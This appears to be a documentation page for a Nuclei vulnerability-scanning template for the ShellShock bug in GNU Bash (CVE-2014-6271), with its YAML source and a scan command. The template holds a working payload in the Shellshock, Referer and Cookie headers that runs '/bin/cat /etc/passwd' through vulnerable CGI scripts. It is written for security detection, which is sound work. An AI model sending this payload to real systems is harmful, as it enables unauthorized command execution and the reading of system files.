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ShellShock - Remote Code Execution

ID: CVE-2014-6271

Severity: critical

Author: pentest_swissky,0xelkomy

Tags: cve2014,cve,rce,shellshock,kev,gnu

Description

Section titled “Description”

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka ShellShock.

YAML Source

Section titled “YAML Source”
id: CVE-2014-6271


info:
  name: ShellShock - Remote Code Execution
  author: pentest_swissky,0xelkomy
  severity: critical
  description: GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka ShellShock.
  impact: |
    Remote code execution can lead to unauthorized access, data theft, and system compromise.
  remediation: |
    Apply the necessary patches and updates provided by the vendor to fix the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2014-6271
    - https://nvd.nist.gov/vuln/detail/CVE-2014-7169
    - http://www.kb.cert.org/vuls/id/252743
    - http://www.us-cert.gov/ncas/alerts/TA14-268A
    - http://advisories.mageia.org/MGASA-2014-0388.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2014-6271
    cwe-id: CWE-78
    epss-score: 0.97559
    epss-percentile: 0.99998
    cpe: cpe:2.3:a:gnu:bash:1.14.0:*:*:*:*:*:*:*
  metadata:
    max-request: 8
    vendor: gnu
    product: bash
  tags: cve2014,cve,rce,shellshock,kev,gnu


http:
  - method: GET
    path:
      - "{{BaseURL}}{{paths}}"
    payloads:
      paths:
        - ""
        - "/cgi-bin/status"
        - "/cgi-bin/stats"
        - "/cgi-bin/test"
        - "/cgi-bin/status/status.cgi"
        - "/test.cgi"
        - "/debug.cgi"
        - "/cgi-bin/test-cgi"
        - "/cgi-bin/test.cgi"


    stop-at-first-match: true


    headers:
      Shellshock: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
      Referer: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "
      Cookie: "() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd "


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100f826e3bef6b844769fdbb43e130af0d6da316c4a9f79478e350b92cf84b0e8d602202218dbc51ab61a6d059f34844470be807adea0a12a649d59813b792852b0ea54:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-6271.yaml"

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